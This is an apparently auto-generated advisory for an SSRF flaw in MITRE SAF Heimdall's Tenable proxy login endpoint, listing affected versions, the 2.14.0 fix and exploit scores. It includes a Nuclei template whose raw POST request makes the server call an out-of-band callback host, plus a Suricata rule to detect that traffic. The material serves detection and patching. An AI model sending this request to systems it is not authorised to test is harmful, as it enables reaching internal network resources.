CVE-2026-82477: MITRE Heimdall advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

In MITRE SAF Heimdall 2.11.6 through 2.13.x before 2.14.0, an SSRF issue allows remote attackers to access internal network resources via the Tenable proxy endpoint. This occurs in apps/backend/src/tenable/tenable.controller.ts.

Description quoted from the CVE record (assigned by mitre, published 2026-08-29).

Weakness: CWE-918 Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality none, integrity low, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-68115, GHSA-mgq6-mc59-8j8m

VEDAS cluster: VEDAS:DELICITEDREAM

Exploit Observer links 5 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (5)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (3)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-68115
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-mgq6-mc59-8j8m
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-82477

2 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.005
low predicted chance of attack
VEDAS: 0.988
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
MITRE Heimdall	from 2.11.6 before 2.14.0	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

Fixed versions stated in the CVE record: 2.14.0.

How to detect it

Nuclei template (active check)

MITRE SAF Heimdall - Server-Side Request Forgery
MITRE SAF Heimdall 2.11.6 through 2.13.x (before 2.14.0) exposes the Tenable proxy login route POST /api/tenable/login without an authentication guard. The server issues a GET request to ${host_url}/rest/currentUser using the attacker-supplied host_url, allowing a remote attacker to reach internal network resources (SSRF).

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /api/tenable/login); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-82477.yaml

Show the template (38 lines)

yaml

id: CVE-2026-82477

info:
  name: "MITRE SAF Heimdall - Server-Side Request Forgery"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    MITRE SAF Heimdall 2.11.6 through 2.13.x (before 2.14.0) exposes the Tenable proxy login route
    POST /api/tenable/login without an authentication guard. The server issues a GET request to
    ${host_url}/rest/currentUser using the attacker-supplied host_url, allowing a remote attacker to
    reach internal network resources (SSRF).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-82477&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=heimdall&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
    cvss-score: 5.8
    cve-id: CVE-2026-82477
    cwe-id: CWE-918
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2026,heimdall,mitre,ssrf,oast,vuln
http:
  - raw:
      - |
        POST /api/tenable/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"host_url": "http://{{interactsh-url}}", "accesskey": "vedas", "secretkey": "vedas"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

CVE-2026-82477.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-82477 MITRE SAF Heimdall - Server-Side Request Forgery. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"VEDAS CVE-2026-82477 MITRE SAF Heimdall - Server-Side Request Forgery"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/api/tenable/login"; nocase; fast_pattern; http.request_body; content:"host_url"; nocase; content:"://"; classtype:web-application-attack; reference:cve,CVE-2026-82477; reference:url,https://www.exploit.observer/?keyword=CVE-2026-82477&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=heimdall&match=exact; sid:1071606; rev:1;)

CVE-2026-82477.rules on GitHub

References

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.